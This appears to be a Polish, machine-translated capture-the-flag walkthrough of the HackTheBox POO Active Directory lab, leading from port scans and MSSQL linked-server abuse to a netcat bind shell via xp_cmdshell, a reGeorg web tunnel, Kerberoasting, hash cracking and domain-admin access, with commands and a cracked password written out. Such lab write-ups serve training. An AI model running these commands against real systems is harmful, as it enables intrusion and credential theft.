Gra HackTheBoxend. Przejście laboratorium Profesjonalne Operacje Ofensywne. Ostatni Active Directory

Gra HackTheBoxend. Przejście laboratorium Profesjonalne Operacje Ofensywne. Ostatni Active Directory

W tym artykule przeanalizujemy przejście nie tylko maszyny, ale całego mini-laboratorium z witryny ZhakujTheBoxa.

Jak podano w opisie, POO jest przeznaczone do testowania umiejętności na wszystkich etapach ataków w małym środowisku Active Directory. Celem jest skompromitowanie dostępnego hosta, eskalacja uprawnień i ostatecznie złamanie zabezpieczeń całej domeny poprzez zebranie 5 flag w tym procesie.

Połączenie z laboratorium odbywa się przez VPN. Zaleca się, aby nie łączyć się z działającego komputera lub z hosta, na którym znajdują się ważne dla Ciebie dane, ponieważ trafiasz do sieci prywatnej z ludźmi, którzy wiedzą coś o bezpieczeństwie informacji 🙂

informacje organizacyjne
Stworzyłem, abyś mógł dowiedzieć się o nowych artykułach, oprogramowaniu i innych informacjach Kanał telegramu и grupę, aby omówić wszelkie kwestie na terenie IIKB. Również Twoje osobiste prośby, pytania, sugestie i zalecenia Zajrzę i każdemu odpowiem..

Wszystkie informacje są podane wyłącznie w celach edukacyjnych. Autor tego dokumentu nie ponosi odpowiedzialności za jakiekolwiek szkody wyrządzone komukolwiek w wyniku wykorzystania wiedzy i metod uzyskanych w wyniku studiowania tego dokumentu.

Intro

Ta gra końcowa składa się z dwóch maszyn i zawiera 5 flag.

Gra HackTheBoxend. Przejście laboratorium Profesjonalne Operacje Ofensywne. Ostatni Active Directory

Podano również opis i adres dostępnego hosta.

Gra HackTheBoxend. Przejście laboratorium Profesjonalne Operacje Ofensywne. Ostatni Active Directory

Zaczynajmy!

Flaga rozpoznawcza

Ta maszyna ma adres IP 10.13.38.11, który dodaję do /etc/hosts.
10.13.38.11 poo.htb

Pierwszym krokiem jest skanowanie otwartych portów. Ponieważ skanowanie wszystkich portów za pomocą nmap zajmuje dużo czasu, najpierw zrobię to za pomocą masscan. Skanujemy wszystkie porty TCP i UDP z interfejsu tun0 z szybkością 500pps.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

Gra HackTheBoxend. Przejście laboratorium Profesjonalne Operacje Ofensywne. Ostatni Active Directory

Teraz, aby uzyskać bardziej szczegółowe informacje o usługach działających na portach, uruchommy skanowanie z opcją -A.

nmap -A poo.htb -p80,1433

Gra HackTheBoxend. Przejście laboratorium Profesjonalne Operacje Ofensywne. Ostatni Active Directory

Mamy więc usługi IIS i MSSQL. W takim przypadku poznamy prawdziwą nazwę DNS domeny i komputera. Na serwerze WWW wita nas strona główna IIS.

Gra HackTheBoxend. Przejście laboratorium Profesjonalne Operacje Ofensywne. Ostatni Active Directory

Przejrzyjmy katalogi. Używam do tego gobustera. W parametrach określamy liczbę strumieni 128 (-t), adres URL (-u), słownik (-w) oraz interesujące nas rozszerzenia (-x).

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

Gra HackTheBoxend. Przejście laboratorium Profesjonalne Operacje Ofensywne. Ostatni Active Directory

W ten sposób mamy uwierzytelnianie HTTP dla katalogu /admin, a także dostępny jest plik przechowywania usług pulpitu .DS_Store. .DS_Store to pliki przechowujące ustawienia użytkownika dotyczące folderu, takie jak lista plików, lokalizacja ikon, wybrany obraz tła. Taki plik może trafić do katalogu serwera WWW twórców stron internetowych. W ten sposób uzyskujemy informacje o zawartości katalogu. Do tego możesz użyć Robot indeksujący DS_Store.

python3 dsstore_crawler.py -i http://poo.htb/

Gra HackTheBoxend. Przejście laboratorium Profesjonalne Operacje Ofensywne. Ostatni Active Directory

Otrzymujemy zawartość katalogu. Najciekawszy jest tutaj katalog /dev, z którego możemy zobaczyć źródła oraz pliki db w dwóch gałęziach. Ale możemy użyć pierwszych 6 znaków nazw plików i katalogów, jeśli usługa jest podatna na IIS ShortName. Możesz sprawdzić tę lukę za pomocą Skrócona nazwa skanera usług IIS.

Gra HackTheBoxend. Przejście laboratorium Profesjonalne Operacje Ofensywne. Ostatni Active Directory

I znajdujemy jeden plik tekstowy, który zaczyna się od „poo_co”. Nie wiedząc, co dalej, po prostu wybrałem ze słownika katalogów wszystkie słowa zaczynające się na „co”.

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

I iteruj za pomocą wfuzz.

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

Gra HackTheBoxend. Przejście laboratorium Profesjonalne Operacje Ofensywne. Ostatni Active Directory

I znajdź właściwe słowo! Patrzymy na ten plik, zapisujemy poświadczenia (sądząc po parametrze DBNAME, pochodzą one z MSSQL).

Gra HackTheBoxend. Przejście laboratorium Profesjonalne Operacje Ofensywne. Ostatni Active Directory

Przekazujemy flagę i awansujemy o 20%.

Gra HackTheBoxend. Przejście laboratorium Profesjonalne Operacje Ofensywne. Ostatni Active Directory

hmm flaga

Łączymy się z MSSQL, ja używam DBeaver.

Gra HackTheBoxend. Przejście laboratorium Profesjonalne Operacje Ofensywne. Ostatni Active Directory

Nie znajdujemy nic ciekawego w tej bazie danych, stwórzmy SQL Editor i sprawdźmy, jacy są użytkownicy.

SELECT name FROM master..syslogins;

Gra HackTheBoxend. Przejście laboratorium Profesjonalne Operacje Ofensywne. Ostatni Active Directory

Mamy dwóch użytkowników. Sprawdźmy nasze uprawnienia.

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

Gra HackTheBoxend. Przejście laboratorium Profesjonalne Operacje Ofensywne. Ostatni Active Directory

Nie ma więc żadnych przywilejów. Zobaczmy połączone serwery, szczegółowo pisałem o tej technice tutaj.

SELECT * FROM master..sysservers;

Gra HackTheBoxend. Przejście laboratorium Profesjonalne Operacje Ofensywne. Ostatni Active Directory

Znajdujemy więc inny serwer SQL. Sprawdźmy wykonanie poleceń na tym serwerze za pomocą openquery().

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');

Gra HackTheBoxend. Przejście laboratorium Profesjonalne Operacje Ofensywne. Ostatni Active Directory

Możemy nawet zbudować drzewo zapytań.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');

Faktem jest, że kiedy wysyłamy żądanie do połączonego serwera, żądanie jest wykonywane w kontekście innego użytkownika! Zobaczmy, jaki kontekst użytkownika uruchamiamy na połączonym serwerze.

SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');

Gra HackTheBoxend. Przejście laboratorium Profesjonalne Operacje Ofensywne. Ostatni Active Directory

A teraz zobaczmy, w jakim kontekście wykonywane jest żądanie z połączonego serwera do naszego!

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');

Gra HackTheBoxend. Przejście laboratorium Profesjonalne Operacje Ofensywne. Ostatni Active Directory

Zatem jest to kontekst DBO, który musi mieć wszystkie uprawnienia. Sprawdźmy uprawnienia w przypadku żądania z połączonego serwera.

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

Gra HackTheBoxend. Przejście laboratorium Profesjonalne Operacje Ofensywne. Ostatni Active Directory

Jak widać mamy wszelkie uprawnienia! Stwórzmy naszego administratora w ten sposób. Ale nie przepuszczają ich przez openquery, zróbmy to przez EXECUTE AT.

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";

A teraz łączymy się z poświadczeniami nowego użytkownika, obserwujemy nową bazę danych flag.

Gra HackTheBoxend. Przejście laboratorium Profesjonalne Operacje Ofensywne. Ostatni Active Directory

Oddajemy tę flagę i idziemy dalej.

Gra HackTheBoxend. Przejście laboratorium Profesjonalne Operacje Ofensywne. Ostatni Active Directory

Flaga wstecz

Pobierzmy powłokę za pomocą MSSQL, używam mssqlclient z pakietu impacket.

mssqlclient.py ralf:[email protected] -db POO_PUBLIC

Gra HackTheBoxend. Przejście laboratorium Profesjonalne Operacje Ofensywne. Ostatni Active Directory

Musimy zdobyć hasła, a pierwszą rzeczą, którą już poznaliśmy, jest strona. Potrzebujemy zatem konfiguracji serwera WWW (nie możemy wrzucić wygodnej powłoki, najwyraźniej firewall działa).

Gra HackTheBoxend. Przejście laboratorium Profesjonalne Operacje Ofensywne. Ostatni Active Directory

Ale dostęp jest zabroniony. Chociaż możemy odczytać plik z MSSQL, musimy tylko wiedzieć, jakie języki programowania są skonfigurowane. A w katalogu MSSQL dowiadujemy się, że jest Python.

Gra HackTheBoxend. Przejście laboratorium Profesjonalne Operacje Ofensywne. Ostatni Active Directory

Wtedy nie ma problemu z odczytaniem pliku web.config.

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"

Gra HackTheBoxend. Przejście laboratorium Profesjonalne Operacje Ofensywne. Ostatni Active Directory

Po znalezieniu poświadczeń przejdź do /admin i podnieś flagę.

Gra HackTheBoxend. Przejście laboratorium Profesjonalne Operacje Ofensywne. Ostatni Active Directory

Gra HackTheBoxend. Przejście laboratorium Profesjonalne Operacje Ofensywne. Ostatni Active Directory

flaga przyczółka

W rzeczywistości korzystanie z firewalla wiąże się z pewnymi niedogodnościami, ale przeglądając ustawienia sieciowe, zauważamy, że używany jest również protokół IPv6!

Gra HackTheBoxend. Przejście laboratorium Profesjonalne Operacje Ofensywne. Ostatni Active Directory

Dodaj ten adres do /etc/hosts.
dead:babe::1001 poo6.htb
Przeskanujmy ponownie hosta, ale tym razem przez IPv6.

Gra HackTheBoxend. Przejście laboratorium Profesjonalne Operacje Ofensywne. Ostatni Active Directory

A usługa WinRM jest dostępna przez IPv6. Połączmy się ze znalezionymi danymi uwierzytelniającymi.

Gra HackTheBoxend. Przejście laboratorium Profesjonalne Operacje Ofensywne. Ostatni Active Directory

Na pulpicie jest flaga, podaj ją.

Gra HackTheBoxend. Przejście laboratorium Profesjonalne Operacje Ofensywne. Ostatni Active Directory

Flaga P00ned

Po rekonesansie na hoście z grochówka nie znajdujemy nic specjalnego. Potem postanowiono ponownie poszukać referencji (pisałem też w tym temacie статью). Ale nie mogłem uzyskać wszystkich nazw SPN z systemu za pośrednictwem WinRM.

setspn.exe -T intranet.poo -Q */*

Gra HackTheBoxend. Przejście laboratorium Profesjonalne Operacje Ofensywne. Ostatni Active Directory

Wykonajmy polecenie przez MSSQL.

Gra HackTheBoxend. Przejście laboratorium Profesjonalne Operacje Ofensywne. Ostatni Active Directory

W ten sposób uzyskujemy SPN użytkowników p00_hr i p00_adm, co oznacza, że ​​są oni podatni na atak typu Kerberoasting. Krótko mówiąc, możemy uzyskać skróty ich haseł.

Najpierw musisz uzyskać stabilną powłokę w imieniu użytkownika MSSQL. Ale ponieważ mamy ograniczony dostęp, mamy połączenie z hostem tylko przez porty 80 i 1433. Ale możliwe jest tunelowanie ruchu przez port 80! Do tego używamy następna aplikacja. Prześlijmy plik tunel.aspx do katalogu domowego serwera WWW — C: inetpubwwwroot.

Gra HackTheBoxend. Przejście laboratorium Profesjonalne Operacje Ofensywne. Ostatni Active Directory

Ale kiedy próbujemy uzyskać do niego dostęp, pojawia się błąd 404. Oznacza to, że pliki *.aspx nie są wykonywane. Aby pliki z tymi rozszerzeniami działały, zainstaluj program ASP.NET 4.5 w następujący sposób.

dism /online /enable-feature /all /featurename:IIS-ASPNET45

Gra HackTheBoxend. Przejście laboratorium Profesjonalne Operacje Ofensywne. Ostatni Active Directory

Gra HackTheBoxend. Przejście laboratorium Profesjonalne Operacje Ofensywne. Ostatni Active Directory

A teraz, gdy uzyskujemy dostęp do tunelu.aspx, otrzymujemy odpowiedź, że wszystko jest gotowe.

Gra HackTheBoxend. Przejście laboratorium Profesjonalne Operacje Ofensywne. Ostatni Active Directory

Zacznijmy od klienckiej części aplikacji, która będzie przekazywać ruch. Przekierujemy cały ruch z portu 5432 na serwer.

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

Gra HackTheBoxend. Przejście laboratorium Profesjonalne Operacje Ofensywne. Ostatni Active Directory

Używamy łańcuchów proxy do wysyłania ruchu dowolnej aplikacji przez nasz serwer proxy. Dodajmy to proxy do pliku konfiguracyjnego /etc/proxychains.conf.

Gra HackTheBoxend. Przejście laboratorium Profesjonalne Operacje Ofensywne. Ostatni Active Directory

Teraz wgrajmy program na serwer netcat, za pomocą którego wykonamy stabilną powłokę wiązania oraz skrypt Wywołaj Kerberoasta, za pomocą którego wykonamy atak Kerberoasting.

Gra HackTheBoxend. Przejście laboratorium Profesjonalne Operacje Ofensywne. Ostatni Active Directory

Teraz, poprzez MSSQL, uruchamiamy nasłuchiwanie.

xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321

Gra HackTheBoxend. Przejście laboratorium Profesjonalne Operacje Ofensywne. Ostatni Active Directory

I łączymy się przez nasze proxy.

proxychains rlwrap nc poo.htb 4321

Gra HackTheBoxend. Przejście laboratorium Profesjonalne Operacje Ofensywne. Ostatni Active Directory

I weźmy haszysz.

. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt

Gra HackTheBoxend. Przejście laboratorium Profesjonalne Operacje Ofensywne. Ostatni Active Directory

Następnie musisz iterować po tych skrótach. Ponieważ rockyou nie miał słownika danych haseł, użyłem WSZYSTKICH słowników haseł dostępnych w Seclists. Do wyliczania używamy hashcata.

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

I oba hasła znajdujemy, pierwsze w słowniku dutch_passwordlist.txt, a drugie w Keyboard-Combinations.txt.

Gra HackTheBoxend. Przejście laboratorium Profesjonalne Operacje Ofensywne. Ostatni Active Directory

Gra HackTheBoxend. Przejście laboratorium Profesjonalne Operacje Ofensywne. Ostatni Active Directory

I tak mamy trzech użytkowników, przechodzimy do kontrolera domeny. Najpierw znajdźmy jego adres.

Gra HackTheBoxend. Przejście laboratorium Profesjonalne Operacje Ofensywne. Ostatni Active Directory

Świetnie, poznaliśmy adres IP kontrolera domeny. Dowiedzmy się, wszyscy użytkownicy domeny, a także który z nich jest administratorem. Aby pobrać skrypt, aby uzyskać informacje PowerView.ps1. Następnie połączymy się za pomocą evil-winrm, podając katalog ze skryptem w parametrze -s. A potem po prostu załaduj skrypt PowerView.

Gra HackTheBoxend. Przejście laboratorium Profesjonalne Operacje Ofensywne. Ostatni Active Directory

Teraz mamy dostęp do wszystkich jego funkcji. Użytkownik p00_adm wygląda jak użytkownik uprzywilejowany, więc będziemy pracować w jego kontekście. Utwórzmy obiekt PSCredential dla tego użytkownika.

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

Teraz wszystkie polecenia Powershell, w których określamy poświadczenia, będą wykonywane w imieniu p00_adm. Wyświetlmy listę użytkowników i atrybut AdminCount.

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

Gra HackTheBoxend. Przejście laboratorium Profesjonalne Operacje Ofensywne. Ostatni Active Directory

I tak nasz użytkownik jest naprawdę uprzywilejowany. Zobaczmy, do jakich grup należy.

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

Gra HackTheBoxend. Przejście laboratorium Profesjonalne Operacje Ofensywne. Ostatni Active Directory

W końcu potwierdzamy, że użytkownik jest administratorem domeny. Daje mu to prawo do zdalnego logowania się do kontrolera domeny. Spróbujmy zalogować się za pomocą WinRM za pomocą naszego tunelu. Byłem zdezorientowany błędami wydawanymi przez reGeorg podczas korzystania z evil-winrm.

Gra HackTheBoxend. Przejście laboratorium Profesjonalne Operacje Ofensywne. Ostatni Active Directory

Następnie używamy innego, łatwiejszego, scenariusz aby połączyć się z WinRM. Otwórz i zmień parametry połączenia.

Gra HackTheBoxend. Przejście laboratorium Profesjonalne Operacje Ofensywne. Ostatni Active Directory

Próbujemy się połączyć i jesteśmy w systemie.

Gra HackTheBoxend. Przejście laboratorium Profesjonalne Operacje Ofensywne. Ostatni Active Directory

Ale nie ma flagi. Następnie spójrz na użytkownika i sprawdź pulpity.

Gra HackTheBoxend. Przejście laboratorium Profesjonalne Operacje Ofensywne. Ostatni Active Directory

Na mr3ks znajdujemy flagę i laboratorium jest ukończone w 100%.

Gra HackTheBoxend. Przejście laboratorium Profesjonalne Operacje Ofensywne. Ostatni Active Directory

To wszystko. Jako informację zwrotną skomentuj, czy dowiedziałeś się czegoś nowego z tego artykułu i czy był on dla Ciebie przydatny.

Możesz do nas dołączyć o godz Telegram. Można tam znaleźć ciekawe materiały, połączone kursy, a także oprogramowanie. Zbierzmy społeczność, w której będą ludzie, którzy rozumieją wiele dziedzin IT, wtedy zawsze możemy sobie pomóc we wszelkich kwestiach związanych z IT i bezpieczeństwem informacji.

Źródło: www.habr.com

Dodaj komentarz